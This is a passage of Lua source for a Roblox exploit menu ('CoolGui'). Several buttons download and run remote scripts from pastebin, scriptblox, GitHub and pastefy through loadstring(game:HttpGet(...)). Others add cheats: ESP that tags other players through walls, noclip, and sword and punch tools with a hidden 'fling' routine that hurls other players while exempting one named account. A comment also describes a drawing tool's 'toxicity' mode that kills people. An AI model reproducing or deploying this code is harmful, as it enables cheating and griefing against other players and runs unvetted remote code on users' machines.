local script = G2L["2f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-RoXploit-by-KrystalTeam-9328"))()
	end)
end;
task.spawn(C_2f);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_31()
local script = G2L["31"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://pastebin.com/raw/MjBzRjmT"))()
	end)
end;
task.spawn(C_31);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_33()
local script = G2L["33"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		me = game.Players.LocalPlayer
		if script.Parent.className ~= "HopperBin" then
			h = Instance.new("HopperBin",me.Backpack)
			h.Name = "LAZOR"
			script.Parent = h
		end
	
		bin = script.Parent
	
		function prop(part, parent, collide, tran, ref, x, y, z, color)
			part.Parent = parent
			part.formFactor = 0
			part.CanCollide = collide
			part.Transparency = tran
			part.Reflectance = ref
			part.Size = Vector3.new(x,y,z)
			part.BrickColor = BrickColor.new(color)
			part.TopSurface = 0
			part.BottomSurface = 0
			part:BreakJoints()
		end
	
		function weld(w, p, p0, p1, a, b, c, x, y, z)
			w.Parent = p
			w.Part0 = p0
			w.Part1 = p1
			w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z)
		end
	
		function mesh(mesh, parent, x, y, z, type)
			mesh.Parent = parent
			mesh.Scale = Vector3.new(x, y, z)
			mesh.MeshType = type
		end
	
		using = false
	
		sound = Instance.new("Sound",me.Character.Head)
		sound.Volume = 0.6
		sound.Pitch = 1
		sound.SoundId = "rbxasset://sounds/uuhhh.wav"
	
		bin.Selected:connect(function(mouse)
			mouse.Button1Down:connect(function()
				if using then return end
				using = true
				local blagh = Instance.new("Model",me.Character)
				blagh.Name = "LAZOR"
	
				local paw = mouse.Hit.p
	
				local pa1 = Instance.new("Part")
				prop(pa1,blagh,false,0,0,1,1,1,"Really black")
				local m1 = Instance.new("SpecialMesh")
				mesh(m1, pa1, 1.07,1,0.3,"Brick")
				local w1 = Instance.new("Weld")
				weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9)
	
				local pa2 = pa1:clone()
				prop(pa2,blagh,false,0,0,1,1,1,"Really black")
				local w2 = Instance.new("Weld")
				weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9)
	
				local pa3 = Instance.new("Part")
				prop(pa3,blagh,false,0,0,1,1,1,"Really red")
				local m3 = Instance.new("SpecialMesh")
				mesh(m3,pa3,1.3,1.23,0.29,"Brick")
				local w3 = Instance.new("Weld")
				weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9)
	
				local pa4 = pa3:clone()
				prop(pa4,blagh,false,0,0,1,1,1,"Really red")
				local w4 = Instance.new("Weld")
				weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9)
	
				local eye1a = Instance.new("Part")
				prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white")
				eye1a.Shape = "Ball"
				local emesh1 = Instance.new("SpecialMesh")
				mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere")
				local ew = Instance.new("Weld")
				weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1)
	
				local eye1b = Instance.new("Part")
				prop(eye1b,blagh,false,0,0,1,1,1,"Really black")
				eye1b.Shape = "Ball"
				local emesh1b = Instance.new("SpecialMesh")
				mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere")
				local ew2 = Instance.new("Weld")
				weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2)
	
				local eye2a = eye1a:clone()
				prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white")
				local ew3 = Instance.new("Weld")
				weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1)
	
				local eye2b = eye1b:clone()
				prop(eye2b,blagh,false,0,0,1,1,1,"Really black")
				local ew5 = Instance.new("Weld")
				weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2)
	
				local bill = Instance.new("BillboardGui",pa1)
				bill.Adornee = bill.Parent
				bill.Size = UDim2.new(0,150,0,80)
				local txt = Instance.new("TextLabel",bill)
				txt.Size = UDim2.new(0,0,0,0)
				txt.Position = UDim2.new(0,100,0,-20)
				txt.Text = "IMA FIRIN' MAH LAZORR!!"
				txt.FontSize = "Size24"
				txt.TextColor3 = Color3.new(0,0,0)
				sound.Volume = 0.6
				for i=1, 5 do
					sound.Pitch = math.random(400,900)/1000
					sound:play()
					wait(0.1)
				end
				local bg = Instance.new("BodyGyro",me.Character.Torso)
				bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
				bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
				for i=1, 5 do
					sound.Pitch = math.random(400,900)/1000
					sound:play()
					wait(0.2)
				end
				txt.Text = "BLAARGHH!!!!!!"
				sound.Volume = 0.85
				for i=1, 60 do
					local dist = (me.Character.Head.Position - paw).magnitude
					if dist >= 600 then
						dist = 600
					end
					bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
					sound.Pitch = math.random(550,750)/1000
					sound:play()
					local bewm = Instance.new("Part")
					prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan")
					bewm.Anchored = true
					local mes = Instance.new("SpecialMesh")
					mesh(mes,bewm,1.2,1.2,1,"Brick")
					bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1)
					local luck = math.random(1,3)
					if luck == 1 then
						local cfr = Instance.new("Part",blagh)
						cfr.Size = Vector3.new(1,1,1)
						cfr.Transparency = 1
						cfr.Anchored = true
						cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2)
						local ex = Instance.new("Explosion")
						ex.Parent = blagh
						ex.Position = cfr.Position
						ex.BlastRadius = 9
						ex.BlastPressure = 400000
						ex.Hit:connect(function(part)
							if part:GetMass() < 240 then
								part.Anchored = false
								part:BreakJoints()
							end
						end)
					end
					wait()
					bewm:remove()
				end
				blagh:remove()
				bg:remove()
				using = false
			end)
		end)
	end)
end;
task.spawn(C_33);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_35()
local script = G2L["35"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
	local input2 = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.mpid
	local Workspace = game.Workspace
	
	button.MouseButton1Down:Connect(function()
		for i,v in pairs(game.Workspace:GetChildren()) do
			if v.className == "Sound" then
				v:Stop()
				v:Remove()	
			end	
		end
		s = Instance.new("Sound",Workspace)
		s.SoundId = "rbxassetid://"..input.Text
		s.Volume = 1
		s.Looped = true
		s.Pitch = input2.Text
		s:Play()
		wait(.1)
		s:Play()
	end)
	
end;
task.spawn(C_35);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_37()
local script = G2L["37"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		loadstring(game:HttpGet("https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"))()
	end)
end;
task.spawn(C_37);
-- StarterGui.CoolGui.Frame.right.LocalScript
local function C_39()
local script = G2L["39"];
	local button = script.Parent
	
	button.MouseButton1Down:connect(function()
		if script.Parent.Parent.Page1.Visible == true then
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page2.Visible = true
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page2.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = true
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page3.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = true
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page4.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = true
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page5.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = true
		elseif script.Parent.Parent.Page6.Visible == true then
			script.Parent.Parent.Page1.Visible = true
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		end	
	end)
	
end;
task.spawn(C_39);
-- StarterGui.CoolGui.Frame.Settings.SettingsButton.SettingsCloseOpen
local function C_3d()
local script = G2L["3d"];
	local TweenService = game:GetService("TweenService")
	local page = script.Parent.Parent
	local sbutton = script.Parent
	
	local cango = true
	local closedPosition = UDim2.new(1, -300, 0, 0)
	local openPosition = UDim2.new(1, 3, 0, 0)
	local tweenTime = 0.5
	
	local function togglePage()
		if not cango then return end
		cango = false
	
		if sbutton.Text == "<" then
			sbutton.Text = ">"
			local tween = TweenService:Create(page, TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {Position = closedPosition})
			tween:Play()
			tween.Completed:Wait()
		else
			sbutton.Text = "<"
			local tween = TweenService:Create(page, TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {Position = openPosition})
			tween:Play()
			tween.Completed:Wait()
		end
	
		cango = true
	end
	
	sbutton.MouseButton1Click:Connect(togglePage)
	
end;
task.spawn(C_3d);
-- StarterGui.CoolGui.Frame.Settings.addonr.LocalScript
local function C_3f()
local script = G2L["3f"];
	local button = script.Parent
	local pge1 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page
	local pge2 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page2
	
	
	button.MouseButton1Down:connect(function()
		if pge1.Visible == true then
			pge1.Visible = false
			pge2.Visible = true
		elseif pge2.Visible == true then
			pge2.Visible = false
			pge1.Visible = true
		end	
	end)
end;
task.spawn(C_3f);
-- StarterGui.CoolGui.Frame.Settings.addonl.LocalScript
local function C_41()
local script = G2L["41"];
	local button = script.Parent
	local pge1 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page
	local pge2 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page2
	
	
	button.MouseButton1Down:connect(function()
		if pge1.Visible == true then
			pge1.Visible = false
			pge2.Visible = true
		elseif pge2.Visible == true then
			pge2.Visible = false
			pge1.Visible = true
		end	
	end)
end;
task.spawn(C_41);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut.LocalScript
local function C_4e()
local script = G2L["4e"];
	local button = script.Parent
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local COREGUI = game:GetService("CoreGui")
	local LP = Players.LocalPlayer
	local ESPenabled = false
	
	-- Functions for creating and updating highlights
	local function CreateAllHighlight()
		for _, player in pairs(Players:GetPlayers()) do
			if player ~= LP and player.Character and not player.Character:FindFirstChild("Highlight") then
				local highlight = Instance.new("Highlight")
				highlight.Parent = player.Character
				highlight.FillColor = Color3.fromRGB(0, 225, 0)
			end
		end
	end
	
	local function UpdateAllHighlights()
		for _, player in pairs(Players:GetPlayers()) do
			if player ~= LP and player.Character then
				local highlight = player.Character:FindFirstChild("Highlight")
				if highlight then
					highlight.FillColor = Color3.fromRGB(0, 225, 0)
				end
			end
		end
	end
	
	local function ClearAllHighlights()
		for _, player in pairs(Players:GetPlayers()) do
			if player.Character then
				local highlight = player.Character:FindFirstChild("Highlight")
				if highlight then
					highlight:Destroy()
				end
			end
		end
	end
	
	-- ESP Creation
	local function CreateESP(player)
		if player.Character and player.Character:FindFirstChild("Head") then
			local ESPholder = Instance.new("Folder")
			ESPholder.Name = player.Name .. "_ESP"
			ESPholder.Parent = COREGUI
	
			local BillboardGui = Instance.new("BillboardGui")
			BillboardGui.Adornee = player.Character.Head
			BillboardGui.Name = player.Name
			BillboardGui.Parent = ESPholder
			BillboardGui.Size = UDim2.new(0, 100, 0, 150)
			BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
			BillboardGui.AlwaysOnTop = true
	
			local TextLabel = Instance.new("TextLabel")
			TextLabel.Parent = BillboardGui
			TextLabel.BackgroundTransparency = 1
			TextLabel.Position = UDim2.new(0, 0, 0, -50)
			TextLabel.Size = UDim2.new(0, 100, 0, 100)
			TextLabel.Font = Enum.Font.SourceSansSemibold
			TextLabel.TextSize = 17
			TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
			TextLabel.TextStrokeTransparency = 0.3
			TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
			TextLabel.Text = '@' .. player.Name .. ' | ' .. player.DisplayName
			TextLabel.ZIndex = 10
		end
	end
	
	local function RemoveESP(player)
		local ESP = COREGUI:FindFirstChild(player.Name .. "_ESP")
		if ESP then
			ESP:Destroy()
		end
	end
	
	-- Manage Highlights and ESP when button is clicked
	button.MouseButton1Down:Connect(function()
		if button.Text == "Off" then
			ESPenabled = true
			CreateAllHighlight()
			UpdateAllHighlights()
	
			for _, player in pairs(Players:GetPlayers()) do
				if player ~= LP then
					RemoveESP(player)
					CreateESP(player)
	
					player.CharacterAdded:Connect(function()
						wait(2)
						CreateAllHighlight()
						UpdateAllHighlights()
						if ESPenabled then
							RemoveESP(player)
							CreateESP(player)
						end
					end)
				end
			end
	
			button.Text = "On"
		else
			ESPenabled = false
			ClearAllHighlights()
			for _, player in pairs(Players:GetPlayers()) do
				RemoveESP(player)
			end
			button.Text = "Off"
		end
	end)
	
end;
task.spawn(C_4e);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut.LocalScript
local function C_56()
local script = G2L["56"];
	local button = script.Parent
	local RunService = game:GetService("RunService")
	local player = game.Players.LocalPlayer
	local character = player.Character or player.CharacterAdded:Wait()
	local noclipConnection
	
	button.MouseButton1Click:Connect(function()
		if button.Text == "Off" then
			if noclipConnection then noclipConnection:Disconnect() end
	
			noclipConnection = RunService.Stepped:Connect(function()
				if not character then return end
				for _, v in pairs(character:GetDescendants()) do
					if v:IsA("BasePart") then
						v.CanCollide = false
					end
				end
			end)
	
			button.Text = "On"
		else
			if noclipConnection then
				noclipConnection:Disconnect()
				noclipConnection = nil
			end
			button.Text = "Off"
		end
	end)
	
end;
task.spawn(C_56);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_75()
local script = G2L["75"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
	
	end)
end;
task.spawn(C_75);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_77()
local script = G2L["77"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))()
	end)
end;
task.spawn(C_77);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_79()
local script = G2L["79"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://pastefy.app/lawnvcTT/raw", true))()
	end)
end;
task.spawn(C_79);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_7b()
local script = G2L["7b"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local plr = game.Players.LocalPlayer
		local tool = Instance.new("Tool", plr.Backpack)
		tool.GripPos = Vector3.new(0, 0, -1.5)
		tool.GripForward = Vector3.new(0, -1, 0)  -- Adjusted to face upward
		tool.GripRight = Vector3.new(1, 0, 0)
		tool.GripUp = Vector3.new(0, 0, 1)
		tool.Name = "Punch"
		tool.TextureId = "rbxassetid://1545265044"
		tool.RequiresHandle = true
		tool.CanBeDropped = true
	
		local k = Instance.new("Part", tool)
		k.Name = "Handle"
		k.Size = Vector3.new(1, 0.8, 4)
		k.Anchored = false
		k.CanCollide = false
	
	
		local mesh = Instance.new("SpecialMesh", k)
		mesh.MeshId = "" -- Replace with your mesh ID
		mesh.TextureId = "" 
		mesh.Scale = Vector3.new(0, 0, 0) 
		mesh.Offset = Vector3.new(0, 0, 0)
		mesh.VertexColor = Vector3.new(1, 1, 1)
	
		local Unsheath = Instance.new("Sound", k)
		Unsheath.SoundId = ""
		Unsheath.Volume = "1"
		Unsheath.TimePosition = 0
	
		local SwordSlash = Instance.new("Sound", k)
		SwordSlash.SoundId = "http://www.roblox.com/asset/?id=8595980577"
		SwordSlash.Volume = "1"
		SwordSlash.TimePosition = 0
	
	
		local l = Instance.new("Animation", tool)
		l.AnimationId = "rbxassetid://204062532"
		local m = plr.Character.Humanoid:LoadAnimation(l)
	
		local db = true
		local da = false
	
		tool.Equipped:Connect(function()
			Unsheath:Play()
			wait(1)
			tool.Activated:Connect(function()
				if db == true then
					db = false
					SwordSlash:Play()
					m:Play()
					wait()
					da = true
					db = true
					wait(2)
					da = false
					m:Stop()
				end
			end)
		end)
	
		k.Touched:Connect(function(n)
			if da == true then
				local o = n.Parent:FindFirstChild("Humanoid")
				if o ~= nil then
					local p = game.Players:FindFirstChild(n.Parent.Name)
					for j = 1, 10 do
						if p.Name ~= "FunnyVideo15" then
							if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
								hiddenfling = true
							else
								hiddenfling = true
								local detection = Instance.new("Decal")
								detection.Name = "juisdfj0i32i0eidsuf0iok"
								detection.Parent = game:GetService("ReplicatedStorage")
	
								local function fling()
									local hrp, c, vel, movel = nil, nil, nil, 0.1
									while true do
										game:GetService("RunService").Heartbeat:Wait()
										if hiddenfling then
											local lp = game.Players.LocalPlayer
											while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
												game:GetService("RunService").Heartbeat:Wait()
												c = lp.Character
												hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
											end
											if hiddenfling then
												vel = hrp.Velocity
												hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
												game:GetService("RunService").RenderStepped:Wait()
												if c and c.Parent and hrp and hrp.Parent then
													hrp.Velocity = vel
												end
												game:GetService("RunService").Stepped:Wait()
												if c and c.Parent and hrp and hrp.Parent then
													hrp.Velocity = vel + Vector3.new(0, movel, 0)
													movel = movel * -1
												end
											end
										end
									end
								end
	
								fling()
							end
						end 
					end
				end 
			end
	
			wait(2)
	
			hiddenfling = false
		end)
	
	end)
end;
task.spawn(C_7b);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_7d()
local script = G2L["7d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local plr = game.Players.LocalPlayer
		local tool = Instance.new("Tool", plr.Backpack)
		tool.GripPos = Vector3.new(0, 0, -1.5)
		tool.GripForward = Vector3.new(0, -1, 0)  -- Adjusted to face upward
		tool.GripRight = Vector3.new(1, 0, 0)
		tool.GripUp = Vector3.new(0, 0, 1)
		tool.Name = "ClassicSword"
		tool.TextureId = "rbxasset://Textures/Sword128.png"
		tool.RequiresHandle = true
		tool.CanBeDropped = true
	
		local k = Instance.new("Part", tool)
		k.Name = "Handle"
		k.Size = Vector3.new(1, 0.8, 4)
		k.Anchored = false
		k.CanCollide = false
	
	
		local mesh = Instance.new("SpecialMesh", k)
		mesh.MeshId = "rbxasset://fonts/sword.mesh" -- Replace with your mesh ID
		mesh.TextureId = "rbxasset://textures/SwordTexture.png" 
		mesh.Scale = Vector3.new(1, 1, 1) 
		mesh.Offset = Vector3.new(0, 0, 0)
		mesh.VertexColor = Vector3.new(1, 1, 1)
	
		local Unsheath = Instance.new("Sound", k)
		Unsheath.SoundId = "http://www.roblox.com/asset/?id=12222225"
		Unsheath.Volume = "1"
		Unsheath.TimePosition = 0
	
		local SwordSlash = Instance.new("Sound", k)
		SwordSlash.SoundId = "http://www.roblox.com/asset/?id=12222216"
		SwordSlash.Volume = "1"
		SwordSlash.TimePosition = 0
	
	
		local l = Instance.new("Animation", tool)
		l.AnimationId = "rbxassetid://94161088"
		local m = plr.Character.Humanoid:LoadAnimation(l)
	
		local db = true
		local da = false
	
		tool.Equipped:Connect(function()
			Unsheath:Play()
			wait(1)
			tool.Activated:Connect(function()
				if db == true then
					db = false
					SwordSlash:Play()
					m:Play()
					wait()
					da = true
					db = true
					wait(2)
					da = false
					m:Stop()
				end
			end)
		end)
	
		k.Touched:Connect(function(n)
			if da == true then
				local o = n.Parent:FindFirstChild("Humanoid")
				if o ~= nil then
					local p = game.Players:FindFirstChild(n.Parent.Name)
					for j = 1, 10 do
						if p.Name ~= "FunnyVideo15" then
							if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
								hiddenfling = true
							else
								hiddenfling = true
								local detection = Instance.new("Decal")
								detection.Name = "juisdfj0i32i0eidsuf0iok"
								detection.Parent = game:GetService("ReplicatedStorage")
	
								local function fling()
									local hrp, c, vel, movel = nil, nil, nil, 0.1
									while true do
										game:GetService("RunService").Heartbeat:Wait()
										if hiddenfling then
											local lp = game.Players.LocalPlayer
											while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
												game:GetService("RunService").Heartbeat:Wait()
												c = lp.Character
												hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
											end
											if hiddenfling then
												vel = hrp.Velocity
												hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
												game:GetService("RunService").RenderStepped:Wait()
												if c and c.Parent and hrp and hrp.Parent then
													hrp.Velocity = vel
												end
												game:GetService("RunService").Stepped:Wait()
												if c and c.Parent and hrp and hrp.Parent then
													hrp.Velocity = vel + Vector3.new(0, movel, 0)
													movel = movel * -1
												end
											end
										end
									end
								end
	
								fling()
							end
						end 
					end
				end 
			end
	
			wait(2)
	
			hiddenfling = false
		end)
	
		wait(2)
	
	end)
end;
task.spawn(C_7d);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_7f()
local script = G2L["7f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		print("Hello World!")
	end)
end;
task.spawn(C_7f);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_81()
local script = G2L["81"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		-- Toggle : [=]        (enable / disable drawing)
		-- Undo : [Z]          (remove last drawn line in canvas)
		-- Draw : [Left Click] (draw)
		-- Clear : [F]         (clear canvas)
		-- Rainbow : [R]       (toggle rainbow color drawings)
		-- Neon Glow : [X]     (toggle glowing drawings)
		-- Other in GUI
		-- Toxicity : [Q]      (toggle toxicity aka kills people)
	
		local plr = game:GetService("Players").LocalPlayer
		char = plr.Character
		mouse = plr:GetMouse()
	
		function tween(object,style,direction,t,goal)
			local tweenservice = game:GetService("TweenService")
			local tweenInfo = TweenInfo.new(t,Enum.EasingStyle[style],Enum.EasingDirection[direction])
			local tween = tweenservice:Create(object,tweenInfo,goal)
			tween:Play()
			return tween
		end
	
		enabled = true
	
		local pgui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
	
		GUI = Instance.new("ScreenGui")
		GUI.ResetOnSpawn = false
		Frame1 = Instance.new("Frame")
		TextLabel2 = Instance.new("TextLabel")
		Frame3 = Instance.new("Frame")
		Frame4 = Instance.new("Frame")
		Frame5 = Instance.new("Frame")
		Frame6 = Instance.new("Frame")
		TextLabel7 = Instance.new("TextLabel")
		TextLabel8 = Instance.new("TextLabel")
		TextLabel9 = Instance.new("TextLabel")
		TextLabel10 = Instance.new("TextLabel")
		Frame11 = Instance.new("Frame")
		Frame12 = Instance.new("Frame")
		Frame13 = Instance.new("Frame")
		Frame14 = Instance.new("Frame")
		Frame15 = Instance.new("Frame")
		Frame16 = Instance.new("Frame")
		ImageButton17 = Instance.new("ImageButton")
		TextLabel18 = Instance.new("TextLabel")
		ImageButton19 = Instance.new("ImageButton")
		LocalScript20 = Instance.new("LocalScript")
		Color3Value21 = Instance.new("Color3Value")
		TextLabel22 = Instance.new("TextLabel")
		TextLabel23 = Instance.new("TextLabel")
		TextLabel24 = Instance.new("TextLabel")
		TextLabel25 = Instance.new("TextLabel")
		GUI.Parent = pgui
		Frame1.Name = "Settings"
		Frame1.Parent = GUI
		Frame1.Transparency = 0.80000001192093
		Frame1.Size = UDim2.new(0, 191, 0, 130)
		Frame1.Position = UDim2.new(0, 266, 0, 130)
		Frame1.Active = true
		Frame1.BackgroundColor3 = Color3.new(0.0470588, 0.0509804, 0.0588235)
		Frame1.BackgroundTransparency = 0.80000001192093
		Frame1.BorderColor3 = Color3.new(1, 1, 1)
		Frame1.BorderSizePixel = 0
		Frame1.Draggable = true
		TextLabel2.Parent = Frame1
		TextLabel2.Size = UDim2.new(0, 191, 0, 15)
		TextLabel2.Text = "Neodymn's Draw Tool"
		TextLabel2.Position = UDim2.new(0, 0, 0, 5)
		TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel2.BackgroundTransparency = 1
		TextLabel2.Font = Enum.Font.SourceSansBold
		TextLabel2.TextSize = 22
		TextLabel2.TextColor3 = Color3.new(1, 1, 1)
		TextLabel2.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel2.TextWrapped = false
		Frame3.Parent = Frame1
		Frame3.Size = UDim2.new(0, 3, 1, 0)
		Frame3.Position = UDim2.new(0, -3, 0, 0)
		Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame3.BorderSizePixel = 0
		Frame4.Parent = Frame1
		Frame4.Size = UDim2.new(0, 3, 1, 0)
		Frame4.Position = UDim2.new(1, 0, 0, 0)
		Frame4.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame4.BorderSizePixel = 0
		Frame5.Parent = Frame1
		Frame5.Size = UDim2.new(1, 0, 0, 3)
		Frame5.Position = UDim2.new(0, 0, 0, -3)
		Frame5.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame5.BorderSizePixel = 0
		Frame6.Parent = Frame1
		Frame6.Size = UDim2.new(1, 0, 0, 3)
		Frame6.Position = UDim2.new(0, 0, 1, 0)
		Frame6.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame6.BorderSizePixel = 0
		TextLabel7.Parent = Frame1
		TextLabel7.Size = UDim2.new(0, 95, 0, 25)
		TextLabel7.Text = "Thickness (m/n)"
		TextLabel7.Position = UDim2.new(0, 5, 0, 25)
		TextLabel7.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel7.BackgroundTransparency = 1
		TextLabel7.Font = Enum.Font.SourceSansBold
		TextLabel7.TextSize = 20
		TextLabel7.TextColor3 = Color3.new(1, 1, 1)
		TextLabel7.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel7.TextXAlignment = Enum.TextXAlignment.Left
		TextLabel8.Parent = Frame1
		TextLabel8.Size = UDim2.new(0, 95, 0, 25)
		TextLabel8.Text = "Can Collide (c)"
		TextLabel8.Position = UDim2.new(0, 5, 0, 50)
		TextLabel8.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel8.BackgroundTransparency = 1
		TextLabel8.Font = Enum.Font.SourceSansBold
		TextLabel8.TextSize = 20
		TextLabel8.TextColor3 = Color3.new(1, 1, 1)
		TextLabel8.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel8.TextXAlignment = Enum.TextXAlignment.Left
		TextLabel9.Parent = Frame1
		TextLabel9.Size = UDim2.new(0, 95, 0, 25)
		TextLabel9.Text = "Opacity (b/v)"
		TextLabel9.Position = UDim2.new(0, 5, 0, 75)
		TextLabel9.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel9.BackgroundTransparency = 1
		TextLabel9.Font = Enum.Font.SourceSansBold
		TextLabel9.TextSize = 20
		TextLabel9.TextColor3 = Color3.new(1, 1, 1)
		TextLabel9.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel9.TextXAlignment = Enum.TextXAlignment.Left
		TextLabel10.Parent = Frame1
		TextLabel10.Size = UDim2.new(0, 95, 0, 25)
		TextLabel10.Text = "Color (r)"
		TextLabel10.Position = UDim2.new(0, 5, 0, 100)
		TextLabel10.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel10.BackgroundTransparency = 1
		TextLabel10.Font = Enum.Font.SourceSansBold
